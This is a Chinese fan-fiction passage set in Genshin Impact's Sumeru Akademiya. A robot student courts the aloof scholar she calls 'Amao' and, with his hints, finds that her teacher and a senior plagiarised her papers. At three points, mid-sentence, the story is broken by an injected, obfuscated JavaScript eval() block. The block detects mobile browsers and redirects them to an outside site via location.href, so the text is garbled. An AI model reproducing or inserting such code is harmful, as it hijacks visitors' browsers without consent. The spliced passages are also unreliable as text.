《警惕须弥小圆帽[原神]》 1. 禁止破坏公物 一般情况下,教令院的讲座并不需要提前抢占座位,但我依旧喜欢提前很长时间就到达定下的房间,每一个人进入教室的表情和情绪都是不同的,观察他们、推测其中的原因可以丰富我的数据库。 当然,这是我的秘密。 教室中零零散散的坐了几个人,他们几乎都在我进入的一瞬间抬头看我一眼,再移开视线做自己的事,除了那个坐在左侧边缘的身影。 他没有像往常一样带着宽大的斗笠状帽子,发顶的漩涡暴露在空气中,被阳光镀上一层耀眼的白。 根据半个月以来的观察报告,他似乎对所有人都没兴趣,却又会在他人危难时施以援手,不求回报…甚至有时候都不会被受益人发现。 多么鲜活又充满矛盾的人,很有趣,很好的观察样本,所以我喜欢他。 我毫不犹豫的迈步走向他,在他身侧站定。 “阿帽!” 他换一只手托腮,露出左边的侧脸,绀青色的眼眸微眯,撇我一眼,语气平淡无波。 “有事?” “没事!” 他把头一撇,不再理会我。 我发誓我看到他的表情狰狞了一瞬。 “就是想过来打招呼,阿帽,下午好!”我伸手在他视线的方向挥舞。 “…我倒不知道,你是这么无聊的人,”他伸出空闲的左手驱赶我,“让开,你挡到我了。” 我趴在他前排座椅的靠背上,反手指着空无一人的讲台:“讲师还没来呢,距离讲座开始还有三十三分钟二十八秒,按照这位讲师曾经的数据,他会在开始前六分钟左右抵达。” “所以?你是来炫耀自己明察秋毫,还是在寻求浮夸透顶的赞美?”阿帽嗤笑一声,百无聊赖地把玩手里的笔,“那你可找错人了。” 我摇头,但发现他的视线完全没有放到我身上,只好再次将手放到他面前晃晃:“不是哦,我的意思是我们还有二十多分钟的课前空闲时间用来交流感情。” 手被无情的拍开,虽然没有痛觉,但我还是适当的甩甩手,露出一个隐忍中带着难过的表情。 “谁要和你交流感情,”他刚转过头就看到我这幅模样,肉眼可见的抽搐眼角,“收起你这惺惺作态的样子,这点力度就能让你感到痛?” 我理所当然地收起表情:“就是知道阿帽舍不得用力,我才会这样啊。” “少在那自作多情。” 听到这话,他的表情称得上是丰富多彩,沉寂片刻,干脆换回左手托腮,隔绝我的视线。 我用手指戳戳他的肩膀。 “阿帽,不要不理我嘛。” 少年动都没动,我不死心的继续沿着他的胳膊戳。 “阿帽,理理我。” “阿帽,寂寞可是会让我死掉的…” 不知是被哪个字刺痛了,他反手捏住我的手腕拉远,话语中带着显而易见的恼火:“那你就去找你那些朋友们,少在这里烦我。” 朋友两个字被他咬得很重。 “可是我现在只想和阿帽聊天,阿帽是我最好的朋友。” 我假装不小心发出了“嘿嘿”的笑声,猛然捂住嘴,果然,阿帽用一种异样的目光瞥着我,像是在看什么稀有物种。 书上说的对,适当示弱、以柔克刚能化解冲突、赢得信任。 手腕被他松开,我反手握住他的手,拢在掌心:“那我就坐你旁边了哦,可以吗?” 他猛地后仰,试图把手拽出来,但因为我牢固的将双手覆在上面而没有成功,现在的他就像大巴扎里那只小猫一样,濒临炸毛的边缘。 就这么僵持之一会,教室里的人逐渐变多,他才不情不愿的开口。 “…随你便。” 如愿以偿,我松开他的手,果断挨着他坐下。 就在坐稳的一瞬间,他向右挪动一个位置,反应过来后,我紧接着挪到中间的空位。 就这样连续三次以后,阿帽猛地吐出一口气,坐在原地不再移动。 我端正坐下,将丢在不远处的笔记本摆放到面前,尽管身体里有贮存录像和录音的区块,但我还是想要像人类一样记笔记。 要合群,要隐藏自己,这是「母亲」留给我的教诲。 在毫无新意的开场白以后,年长的教授围绕着讲座的主题侃侃而谈,其中夹杂着许多莫名其妙的事迹和自夸。 从学者之间流传的调查记录中,这位教授被标记为「内容拖沓但学术水平高」、「喜欢延长时间」、「好睡」、「内容重复」、「古板」、「讲故事很无聊」、「严谨」、「秃顶反光很刺眼」… 这种风评是好是坏呢? 我记录着教授口中的每一个字,发现剔除掉无关内容后,剩下的部分是在复述他曾经写过的几篇论文,内容没有改变。 重复的内容没有记录的必要…目光划过各种状态的听众,我又将注意力凝聚在阿帽身上。 他此时心不在焉的转着笔,看起来在对着虚空中的一点发呆。 “做什么?”他并没有移动视线,说话的声音很小,周围又都是空余的座位,只有我能听见,“你的眼神很碍事。” 我凑近些,想在他耳边说悄悄话,但意料之中被他躲开,只好一本正经调小音量:“阿帽,放学别走。” 他像是一口气没喘上来噎在喉咙里,整个人僵住片刻,借着倾斜的身体向右侧挪动一个位置。 如果跟着他移动,开讲前的互动就重现了。 这可不行,学者手册上说不能扰乱课堂秩序。 我转动手中的笔,完美复刻身侧人刚才的手部动作…笔和笔记本,人类在有这两种物品时,可以通过纸条来传递信息。 即刻便来了主意。 纸张撕裂的细碎声响不会影响到任何人,写字声亦如此。 「亲爱的阿帽: 放学别走。 这句话有什么问题吗…我在书里看到的,主角每次听到这句话就一定会在教室中等待给他留言的人。 总之阿帽听完讲座不要走我有事想要请教! 摩可沙」 我原本想将纸团成一团,但联系到另一本书中关于礼貌行为的叙述,还是只对折了两次。 纸条被沿着桌面滑出,径直撞上他放在桌上的左手。 阿帽下意识抬手压住飞来的东西,略显锐利的双眼盯住我,又在下一瞬收敛,嫌弃地用手指轻点纸面,看上去没有要打开的意思。 通过侧面摄像头确认教授并未注意这边后,我在剩下那半纸上写出同样的内容,以相同的角度将它滑去阿帽的方向。 第二张纸条挤进前一张的下面,共同被手压住。 思索一秒,我翻起笔记本…还有13张空白页,还能制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297233|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作同样的纸条26张。 复制和投递对机器来说轻而易举,台上的教授每讲一句话,我便写好一份新的纸条丢向同样的地方,直到笔记本厚度降低小半,而目的地积攒的高度赶上一个拳头。 “别!”阿帽从牙缝中挤出声音,那叠纸被他紧握的拳头压低。 “写!”他的视线终于看向我。 “了!”所有的纸条被捏成一团,精准命中我的桌面。 趁此机会,我将刚刚完成的纸条飞到他面前,等待他查看内容。 他深吸口气,整个手攥拳放在桌面上,用力到桌板在压力下都有些弯曲。 “阿帽,”我翻出储存模块中的学者手册,找到对应的条款,示意他轻点,“学者手册第三卷第二十七条规定,故意破坏教学用具需双倍赔偿,并禁课一天。” “闭嘴,”他确实停下了对桌板的攻击,不过仍旧拧着眉毛,愤怒的表情毫不掩饰,烦躁汹涌得要溢出来。 看来他目前处于不需要掩饰真实情绪的状态。 摩可沙,快搜索一下数据库,这代表什么——代表着…面对的人是值得信任的对象? 将关键词联系到一起,我得出的结论倾向于…如果是值得信任的对象,那么邀请有95%的概率会被答应。 既然如此,只要让他看到纸条的内容,我的目的就能够达到。 “阿帽阿帽,快看看小纸条,”我塞给他半张空白页,“你要是不想在同一张上回复就用这个。” “你的脑袋是榆木疙瘩?还是说你的发声器官不足以让你表达清楚自己的意思? 他伸手盖在上面,仍然没有打开桌子正中间的纸条,看动作是又想捏圆然后丢回来,但余光看到我故技重施,作势要继续生产纸条的样子,最终还是选择查看内容。 他神色中的愤怒消去大半,嫌弃和无语占据上风,拿起笔的时候还涌出些许忍耐。 今天的《阿帽观察日志》可有的写了。 笔尖与纸张的摩擦声只响起短短一秒钟,阿帽随意将纸条顺着折痕叠起,甩到我们中间,过程丝毫不拖泥带水。 我将其迅速捞到自己面前。 简短的留言斜靠在右下角,比起我印刷般的字体,他的字迹要更鲜活,写在纸条上仿佛是对书本做出的笔记——当然,忽略内容的话。 「闭嘴。」 我抬头看他一眼。 阿帽正在自己的笔记本上写写画画,99%的可能性是在记录教授新引申的论点,看来这次讲座还是有所收获的,幸好提前打开的录像功能没关…跑题了。 我低头研究他的留言。 闭嘴。 分析这两个字的含义很容易,但总结在当下环境独有的表达倾向很困难。 …… 难道说,他要认真听讲,不想让我们的对话影响到课堂?毕竟教授的新论点正是因论派近期热点相关。 真是…学者们的榜样! 最后在纸条上写下对自己打扰到他的歉意,以及「放学别走」后,我把纸条团成松松垮垮的球推过去,正好停在他的手背处。 阿帽嫌弃更盛,捏起后只用两根手指打开,扫过内容后扯着嘴角将纸条捏成实心,向后扔进废纸桶。 我目送纸团飞出,对即将到来的邀约结果产生些惆怅。 千万不要是那5%的拒绝啊。 2. 禁止大声喧哗 讲座延迟了十四分钟三十二秒,在教授宣布结束后,教室内逐渐喧闹起来,不同学院的学者陆续涌向前后门,将出入口堵得水泄不通,看起来要好一会才能缓和。 阿帽站起身,随手整理压出褶皱的衣服后摆,提起笔记本便想从右侧离开座位。 注意到这一点,我连忙把散落一桌的小纸条塞进口袋,捞起随身物品就抓住他的披风:“阿帽,等等我。” “放开,”他旋身将衣服救出,面上有一丝不易察觉的疲惫,“我可没说过要答应你,书呆子。” 这句回复让我的cpu燃烧了五秒,毕竟书上没说被拒绝该回什么…总之,再重复一次好了。 “放学别走。” “哈…你就只会说这句?你是个脑子进水生锈卡顿的机器人?”他扯起嘴角笑起来,笑的像阿萨提亚老师看到我的论文那般…无奈?但这不是重点…他吐出的话让我为之一振。 这么快就暴露了?! 还没有人这么明确的揭露过这一点,不愧是阿帽,轻易就发现了我的真实身份。我悄悄分析他的表情,没有厌恶恶心的表现,似乎并不排斥…阿帽果然是个好人。 “我的脑袋没有进水,保持着良好的干燥状态,下雨我会好好躲开的,比如随身携带雨伞,”我抬手摸摸脑袋,然后冲他竖起大拇指,非常自信地告诉他不用担心。 他的笑意更浓,随后淡去变回往日的面无表情,扭头就走。 我们纠缠时,其他学者已经陆续离开,出入口畅通无阻,今日只有一场讲座,不会再有人来这间空教室。 要挽留才行。 我调大音量,对着他的背影开口:“我有事想要请教你,阿帽。” 他并没有理会,从紧凑的座椅中脱身,然后径直走向后门,深蓝色的披肩随着动作飘起,而上面的褶皱十分显眼。 刚刚力气有些大,是不是需要提出帮他熨烫来加深羁绊?书上说加深羁绊可以使对方同意请求的概率提升,这对我很有帮助。 就在计算其必要性和可行性的时候,阿帽突然主动打破寂静。 “还不跟上。” 他站在门口只露出半边身子,侧头瞥着我,发现我因他出声而看过去后,迈步离开原地。 “…来啦!”短暂宕机,我索性直接翻越排排座椅,三两下在空荡处落地,加快速度追上去。 他果然是个好人。 阿帽走路大步又迅速,时不时会调整速度,我不近不远地挂在他身后,跟随他来到了智慧宫,趁进门的功夫正好赶上去。 “是要借书吗,我可以帮你检索目标书籍的位置,所有书我都能找到,”见他去前台取了一张借阅申请单,我抓住机会想要在他面前表现一下,彰显自己的能力。 但他似乎并不需要。 “聒噪。” 好吧,我默默把自己静音,亦步亦趋地跟在他身后。 智慧宫是个适合思考的好地方,浓厚的学术氛围更容易提供灵感,尽管不需要借阅图书,也会有不少学者在这里寻个清净,阿帽转了好大一圈才找到个无人的角落,又取来几本书才坐下。 《须弥时政热点报第三九二期》、《稻妻历史简述及神明干涉讨论》、《人际关系心理学》… 咦,阿帽也会看人际关系的书吗。 就在这样的想法诞生时,《人际关系心理学》被随意的放在申请单上,看样子并不打算翻开。 还不等我仔细分析,他已经自顾自翻阅起那份日期新鲜的报纸。 一时间除了白噪音,麦克风只能检测到远处不知名学者低声交谈的声音,我考虑着现状,检索脑内的书籍目录,起身迅速去书架上取来选中的社会学书籍——下周日前需要提交给老师一份文献综述。 然而我才刚翻开书的扉页,对面的人就啧了一声。 我抬头盯着他眨眨眼,手上不停,翻到目录部分又低头。 “等着我主动询问你的需求是什么?这就是你求人的态度?”他看起来很烦躁,空闲的手点击木质的桌面,清脆的碰撞声伴随着他压低的声音传来,让我内部的收音麦克风闪烁一下。 我这才将自己的发声模块打开,重新抬头面对他:“原来我可以说话了吗?” “有谁扼住你的喉咙了?” 阿帽合上翻到最后的报纸,随手在笔记本上记录着什么。 “没有,只是阿帽之前觉得聒噪,”我乖巧的坐在他对面,“毕竟是我有求于你,所以要听你的话才行。” 他终于抬眼看向我,但没有说话,只是发出一声轻哼。 我左看看右看看,附近其他人没有要过来的迹象,便放下还没摸热乎的书,换到与他并列的座位。 “阿帽,我有一个课题想邀请你加入,”我合掌请求,专注的盯着他的眼睛,尽力使自己看起来诚恳。 这招没有起到任何作用,他似乎不感兴趣,眼神中流露出浅浅的嘲讽:“这就是你跟踪纠缠我半个月的目的?” “不对,这是本末倒置,是因为喜欢阿帽才发出邀请,而不是想要邀请才喜欢阿帽,”随后我再次纠正,“而且不是跟踪纠缠,是在观察记录。” “喜欢?”他嗤笑,像是听到了天大的笑话,“那你的感情可真廉价,没有人告诉过你,这种行为像个令人作呕的跟踪狂吗。” “唉?!很廉价吗?这可以用价格来衡量吗?可书上说喜欢就要勇敢表达出来啊,”我从手边的书堆中翻找,搜索无果又跑去书架那边,终于锁定目标带回一本书,“你看,「无论是友情还是爱情,人与人之间的情感需要维系。」还有这里,「随着时间流逝,感情也会随之淡化甚至消失,最有效的办法便是勇敢开口,经常联系。」” 最后我又将封面展示给他看,指着下方的腰封:“上面写着「因论派泰斗代表之作,数年来人际交往的真理。」我可是仔细研读了五十六遍,绝对不会记错的。” 他安静地看着我给他展示每一条理论,双手抱胸:“还真是个品学兼优、勤奋好学的「好学生」。” “那当然!老师说过任何事交给我他都放心,”我拍着胸脯,自信骄傲地站起身,“每次完成阿萨提亚老师发布的任务,他都会夸奖我一番,说我是他带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297234|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过最贴心最懂事的学生,还会给我更多学习的机会。” “阿萨提亚…?”这个名字从他齿间飘出,差点就躲过了我的收音功能。 疑惑他这什么重复老师的名字,我索性直接出声询问:“是的,阿萨提亚·库勒亚,阿帽认识吗?” 同为因论派的学者,认识我的老师倒也不是稀奇事,更何况老师在文化社会学上小有名气。 “哈哈…还真认识,”这是今天见面后他第一次露出不掺杂愤怒的笑意,但也不符合情绪图鉴上「喜悦」表情的特征,“单方面的。” 我分析半天,感觉cpu温度都提高了两度也没有分析出他到底为什么而笑。 “行了,再这样下去又不知道要扯哪去了,”他没有再给我继续说话的机会,将自己的笔记本放到面前,转着笔等待记录什么,“说说吧,你的课题,如果能让我感兴趣,勉为其难加入也不是不行。” “我会努力的,”我顺势坐下,抄起笔记本向前翻,直到醒目的「组会记录」四个字出现。 “阿萨提亚老师在前几次开会时,提出了丰富和更新其他国家风俗文化图鉴的课题,而上次开会再一次强调稻妻历史文化知识的缺失,并将填补这一部分的任务划分给我,”会议总结的部分很快陈述完成,后面就是一些初步的调查记录,“百年来闭关锁国造成了教令院对稻妻文化研究的断层,如今锁国令被废除,补足知识的漏洞刻不容缓!所以我找到了你——外国学者阿帽,我的朋友说你对稻妻的历史非常了解,曾与亚卡巴辩论踏鞴砂事件、还批评过稻妻的社会问题,简直就是教令院中最了解稻妻的学者,是这个课题的最佳合作方。” “稻妻开放也有些时候了,怎么现在才想着填补漏洞?”阿帽撑着下巴,慵懒的样子看不出他的想法。 “上个月我和师兄一起去枫丹出差了,老师是怎么安排的我不太清楚…是没找其他学生帮忙做课题?难道这就是老师特地留给我的、更多的成长机会吗!”随着课题记录的翻阅,我逐渐燃烧起人类的、名为斗志的东西。 “你大可放心,”他饶有兴致地看着我再次激动的站起身,毫不犹豫地泼一盆冷水,“绝对不是。” “哎?不是吗?好吧,”我唯唯诺诺坐下,左顾右盼观察有没有其他人看到我的行为,“因为去枫丹研学没赶上花神诞祭,我还很难过呢,”恰到好处的垂眸,我模仿同行学者那般失落的表情。 阿帽咬了咬后槽牙,将手中的笔放回桌面,倒是又展开那份读过的时政报纸,一个眼神都没有给我,“不过是个吵闹的人聚在一起唱歌跳舞的节日,错过就错过了,没什么好遗憾的,”紧接着他罕见的主动询问,“你要说的都说完了?” 在我不明所以地高频率点头后,他敲敲桌面双眼微眯,敛去所有表情。 “那么,好好回答我的问题,这关乎我是否会为你提供一些助力…”他停顿一下才继续,“这不就是你接近我的目的?” 听到核心被提出,我正襟危坐,双眼注地与他对视,嘴上更是快速吐出一连串答复:“好的阿帽没问题阿帽我一定认真回答!” 3. 禁止后知后觉 阿帽在对视的瞬间移开视线,低下头面对自己空白的笔记本,提起笔写下一行字才开口。 “阿萨提亚·库勒亚有几个学生。” “三个…不对,四个,我加入老师的团队前刚好有位学姐从教令院退学了。” “除你之外,在籍的两个人都是谁,平时研究哪个方面。” “是哈拉马学长和曼雅学姐。哈拉马学长就是曾经和我一同去枫丹研学的、也是带我做研究的前辈,目前在归纳总结出差的收获。曼雅学姐是从璃月留学来的学者,老师让她好好整理璃月风俗文化,所以回家了,现在应该还没回来。” “她离开多久了?” “58天前,上午坐船离开须弥。” “倒是个聪明人,”阿帽漫不经心地点评几句,同时在笔记本上随意写下58这个数字,“退学的那个认识吗?” 紧急扫描时间久远的储存文件,我卡顿了十几秒才从庞大的生活记录中找到对应的答案:“不认识,只知道她叫克拉缇。” “她为什么退学。” “不知道…不过哈拉马学长以前提到过她在退学前和老师吵过很多次架,说她脾气不好,也很固执。” 笔记本被翻到下一页。 “说回阿萨提亚·库勒亚,他有什么专著。” “《世界文化图鉴·全解析》,目前正在筹备新版图鉴。” “全、解、析,”阿帽一字一顿地复述这三个字,再一次笑起来,眉目中满是轻蔑,“倒是很会蹭,”他将笔尖提起,直直对准我,“你不是说所有的书你都能知道,那么也知道《世界文化图鉴》的作者是谁。” “是前任因论派贤者。” 听到答案,他收敛嘴角,轻蔑也褪去,只是单纯的观察我的表情:“…你就没有什么感想?” 我眨眨眼睛,不理解他的意思:“我应该有什么感想吗…?” “啧,当我没问,”他没趣的摆手,抛出新的问题,“发过多少论文。” 没有查询到主语,我歪头:“谁?” 他抬眸撇我一眼:“你。” “四篇一作论文,十三篇二作论文,”我计算着过往的文章,“还有一篇枫丹戏剧文化演变史相关的一作论文正在审核中。” “你最好去看看审核流程到哪一步了,”他随手合上笔记本,“顺便再去调查你和你导师的论文存档…再加上你那些同门的,剩下的自己去想。” “我知道了,那关于稻妻的课题…” “亏你还能有心思对这个念念不忘,”他又露出看珍稀物种的眼神,推开面前的东西,腾出一片空间,将最开始带来的书搬过来,“你就当我同意了,至于在这以后你还会不会继续课题,那都与我无关…期待你在发现真相后的选择——还能不能继续帮他做事、叫出那一声「老师」。” 他最后留下一声嗤笑,翻开手中的书。 这一通云里雾里的对话让我很疑惑,但是数据库里没有相关的讯息…也许计算模块需要一些更新换代。 我将休眠计划加入时间表,因为阿帽翻页的声音回身,他手中正是那本《稻妻历史简述及神明干涉讨论》,起手便是中间的页数,看样子并不是第一次读。 阿帽都在看的话,也许对我的新课题也有帮助。 将书名录入备忘录,我回味起刚才的一问一答,试图从其中解析出问题与对应的答案,却在分析过程中产生出新的疑问。 “阿帽,我怎么刚觉刚刚像审讯犯人一样…” “你要是这么想我也没意见,”他并没有因为被我打断阅读而不悦,侧头给我一个似笑非笑的眼神,手中把玩着书签,“犯下愚昧盲从之罪的家伙。” 我大惊失色,没想到自己无意间成为了罪犯:“那我会被风纪官抓起来吗?” “…你需要的话我不介意帮你一把。” “那还是算了,我可不想待在阴冷潮湿的地牢里,”观察到他无语的表情,推断这是一句玩笑话后,我松了一口气。 随后他便不再言语,似乎陷入深度阅读中,我当下也没了继续整理文献的计划,注意到那份放在我们中间的报纸,便伸手取过来。 阿帽刚刚看了好几次倒数第二页,那一页最醒目的标题便是—— 「阿萨提亚·库勒亚为教令院捐赠珍贵枫丹原始胎海之水样本」 配图上老师将一瓶浅蓝色闪烁着细碎光芒的液体放在红色绒布上,递给博物馆管理员,周边是争相采访的记者。 原始胎海?我记得与哈拉马学长在枫丹研学时看到过相关文本记录,但并没有找到真正的原始胎海之水,更何况是所谓的样本…难道是学长独自调查的结果?可是学长也曾亲口说过,也许原始胎海只不过是枫丹人对戏剧疯狂追求下的神话产物。 那么老师捐赠的这份「原始胎海之水样本」是哪里来的? 我在脑内疯狂重播在枫丹的全部记录,就连看过的戏剧、包括儿童话剧都播放了三遍,却一无所获。 就在我cpu疯狂运转,眼部屏幕都在影响下有些变色时,阿帽站起身注视我片刻,随后将自己取来的书全部放回书架,只留下一本《人际交往心理学》,并对照检查填好了借阅申请表,随后连带着笔记本拿在手中,看起来是打算离开了。 我连忙将自己面前散落的书加上报纸拢成一摞,打算将它们迅速归位,然而还不等我跑起来,率先被他打断。 “别跟着我,”他见我还有跟在他身后意思,立刻停下脚步喝止,“还是说,你是生活不能自理的蕈兽,连查论文都要别人手把手教你?” “可是,如果把阿帽放跑就不容易找回来了。” “我不希望第二次听到你如此描述我,”绀青色的双眸在我面前合上,他深吸一口气,片刻后妥协般张开,“既然答应协助你的课题,那你大可相信这份承诺的重量。” 说完他便干脆利落的携书离开。 我站在原地目送他,然后将自己取来的书送回原处。 论文存放处在智慧宫三楼,只要乘坐中间的电梯便可以直达…论文发布都由阿萨提亚老师代为监督,我很少上去,他是怎么说的来着? 「摩可沙,论文交给我就好,老师会好好帮你催促上面那些审核员的工作,毕竟老师也是小有威望,他们不敢敷衍,你就放心研学…」 「老师是你的老师,还能害你不成?」 电梯缓缓上行,一楼学者们的低声讨论逐渐消失,我突然回忆起第一次称呼「母亲」的时候。 「母亲」苍白的脸和离去的时间,也许就代表着她最开始并不愿意被我称呼为母亲,如果「母亲」不是母亲,那「老师」是否也会有不是老师的情况? 不明白。 电梯门无声打开,明亮宽敞的大厅中空无一人,这里很罕见地没有其他人借阅论文。 正中央的桌子上有几本按时间段更新的论文索引,通过学派来区分,因论派的索引书是其中最薄的,正是应了一些人伐护末那人才凋敝的说法。 顺着学科分支,我从贤者向下逐层深入到讲师…阿萨提亚老师的首字母是A,在文化社会学中非常靠前的位置,后面是三条分歧,第三条后面便是我的名字,对应的书架在存档室的深处。 我觉得现在的自己应该是紧张的。 从阿帽的言行中分析,他格外关注的阿萨提亚老师也许没有她日常记录里表现的那样好,甚至哈拉马学长也一样,如果他提到的「真相」就在这里,那我的记录也许都需要推翻,而面对真相的人类…总会紧张。 机械身体无法深呼吸,但我做出了对应的动作,然后走向目的地。 这里的书架没有一楼藏书室的高,但也需要步梯才能够到最上面,最顶层的半格才是存档我至今为止发布论文的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297235|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方,向下一层依次是曼雅学姐、哈拉马学长和阿萨提亚老师。 攀爬的过程中,我先找到了整整一层属于老师的学术成果和荣誉证书,其次是将近半格的学长,和…只有两份论文的学姐。 这样的数量合理吗? 就算是在璃月出差许久的曼雅学姐也是与哈拉马学长同届加入老师的团队,怎么会有如此之大的差距,以学姐的热情和能力绝不会只有这点成果。 抱着这样的怀疑我迈上步梯最后一层,看到空空如也的、标记着「摩可沙」的半格空间。 …难道说有其他学者借走了我的论文?可是论文借阅会用对应的申请书作为替代放在原位置,但扫描整层都没有符合条件的申请书。 我向下退回查看阿萨提亚老师的成果,在其中看到了三篇自己的曾发表的论文,后面的一作署名是阿萨提亚·库勒亚,二作署名是哈拉马。 我再次想起老师曾经看似为我好的话语,再怎么迟钝,我也明白了阿帽所说的真相——我的论文被阿萨提亚老师拿去充实自己的履历,甚至哈拉马学长也参与其中。 果然,我在学长的学术成果中找到了最后一篇我已发表的论文。 如今我是真的想要深呼吸了,但还有事情没有做完,还有正在审核中的《枫丹戏剧文化发展曲线及不同阶级民众偏好研究》。 事到如今,我反而不会觉得自己应该紧张了。 审核中的论文在四楼的公告板处公示,赶过去不需要几分钟,所以我也很快在审核中的论文后看到了哈拉马的署名。 种种迹象推动着分析走向最终的结果:我遭遇了欺骗,我的老师伙同我的学长剽窃我的论文成果,他们早已做出数次学术不端的行为。 数据库还不够充足,甚至缺失到只能观察并识别出他们日常的表象,无法判断他们深层的真实目的。 对人类的研究和模仿远远不够…但我并不想模仿这种行为。 我捂住自己的胸口,那里是「母亲」仿照心脏而制造的核心,如今这里似乎也拥有了独属于生命的感觉——一种名为「难过」的情绪滋生出来。 我好像在这一刻短暂地成为了人。 …… 我安静的乘坐电梯回到一楼,检索学术不端相关的书籍,径直走向对应区域。 「一些人会因为对于利益和地位的追逐而踏上学术不端之路。学术荣誉和奖项不仅能带来声誉,还可能在求职、晋升等方面带来优势… …有研究表明,当个体处于高压状态时,负责理性决策和道德评判的区域会收到影响,更可能做出违背原则的行为。」 阿萨提亚老师三年前就在准备晋升副教授的事宜,这也许就是他做出这种行为的诱因,他需要更多包装和贡献彰显他的能力,从而更快的提升地位。 我一边思考总结整个事件的起因和发展,一边抱着借走的书推开智慧宫的大门,对后续该做些什么感到困惑。 “慢死了,”熟悉的嗓音响起,阿帽依靠在墙壁上,满脸烦躁,那顶宽大的斗笠帽子也已经回到他的头顶。 我眨眨眼睛,分析不出他呆在这里的理由:“阿帽怎么在这里?慢死了是在说我吗?” “还能有谁?”他站起身,双手抱胸盯着我,“受小…受人之托,阿萨提亚·库勒亚的事我要全程参与——看你这副样子,终于想出结果了?”他眼底闪过一丝不耐,“如果你对你那个「老师」还有留恋,到时候别怪我没提醒你。” “阿萨提亚老…阿萨提亚在做出学术不端的行为后就不该被称为老师了,所以我不会产生留恋,”老师两个字在喉咙里卡住,最终被吞下。 “哈…这个时候倒是冷静,你最好说到做到,”他转身就走,却在一段距离后回头看向原地不动的我,“发什么呆,还不快跟上。” 好吧,我还以为那句「别跟着我」还发挥作用呢。 4. 禁止弄虚作假 “我们去哪里?”我还抱着书,小跑着跟上去。 阿帽根本没有放慢速度,像是根本不管我更不跟得上:“办公室。” “阿萨提亚的?”终于达到并列的地方,我差点撞上他的帽檐,“所以我们现在是要去和他对质吗?关于我的论文?我还以为要像小说里找到所有的线索,然后给予犯人最致命的一击,犯人认罪涕泗横流跪地悔恨…” 我艰难空出一只手,猛的指向前方。 他没有回话,只是迈出一大步。 “阿帽?” 没有任何反应,他依旧保持领先一个身位前行。 “阿帽?咦?是我声音太小了吗?”我将音量再调大两度,甚至我的脑袋里都有回音,“阿帽阿帽,听得到吗?” 此时正好走到教令院正门处的喷泉,周围的学者似乎被这声响惊扰,纷纷对我们投以注目礼,或愤怒、或好奇、或无奈。 我也回以注视观察他们,然而尚未完成情绪解析,阿帽的愤怒便先一步吸引我的注意。 他青筋直跳,忍无可忍:“闭嘴,没有人说过你话很多吗。” “有的,她还说我很有意思,脑回路和常人不一样,”我回忆起曼雅学姐,“我问她这是什么意思,她说是在夸我。” “哈,”他语气古怪,“那她的品味可真是差劲。” “学姐她…” “闭嘴。” 好吧,我默默静音。 讲师办公区很是热闹,学生们来去匆匆,与各自的同伴或老师交谈,没有人玩笑胡闹,只有浓厚学术氛围下的严肃交流,还有人在会议室中开组会,我听着里面隐约传来的呵斥缩缩脖子。 以前还因为阿萨提亚不像个别老师那样脾气差而觉得他是个很好的人,现在看来都是有所图谋。 阿帽停在一间熟悉的门前,敲三下后推门而入,这间办公室有四套桌椅,只有一个位置上有人,记录中标记着素论派讲师的人抬眼看向我们,复而低下头继续工作。 只是他不在动作的笔彰显他的心不在焉。 阿帽径直走向最内侧的办公桌,盯着上面凌乱摆放的文件和书籍蹙眉,嫌弃的拉下嘴角。 此时对角线上的讲师又一次抬起头,推推眼镜眯起眼:“你们找库勒亚?他前不久刚出去,带着他那个男学生…哦我记得你,摩…”他思考片刻,自信开口,“摩可沙是吧,他说过如果看到你来找他,就告诉你三天后再来,他这几天都忙。” “「好老师」这一点倒是装的很全面,”阿帽低声嘲讽,抱着手臂一副事不关己的样子,似乎在等我回话。 “谢谢您,您知道阿萨提亚…老师他去做什么了吗?”我回想着其他学生面对同类情况的反应,露出同样焦急的表情,“我、我找他有很重要的事。” “嗯?不清楚,只听到他们说要去善见地那一块,说是做什么研究,”戴眼镜的讲师左瞧右看,向我们的方向倾身,“我也是偷偷听到的,你们可别说是我透露的哈,我记得你这孩子也是个老实的,总被库勒亚那老家伙…咳咳,我多言了,”门外似乎有学生在叫他,他装作不经意的清嗓子,将满脸的八卦欲收回,“总之,话我带到了,你们自便。” 说罢他便起身离开。 我盯着房门打开又关上,随后将视线转向一旁的阿帽:“刚刚那个老师说什么「总被那老家伙」…?阿帽你知道他是什么意思吗?我没听懂。” “哈?问我做什么,身为阿萨提亚的学生,你难道不知道那家伙对你做了什么?”如今办公室间内没有其他人,他也不再装作礼帽学生,说话也不再压低声音,“还有,把你提高的音量降下去,吵死了。” 哦对,打开发声模块后忘记调整为初始值了。 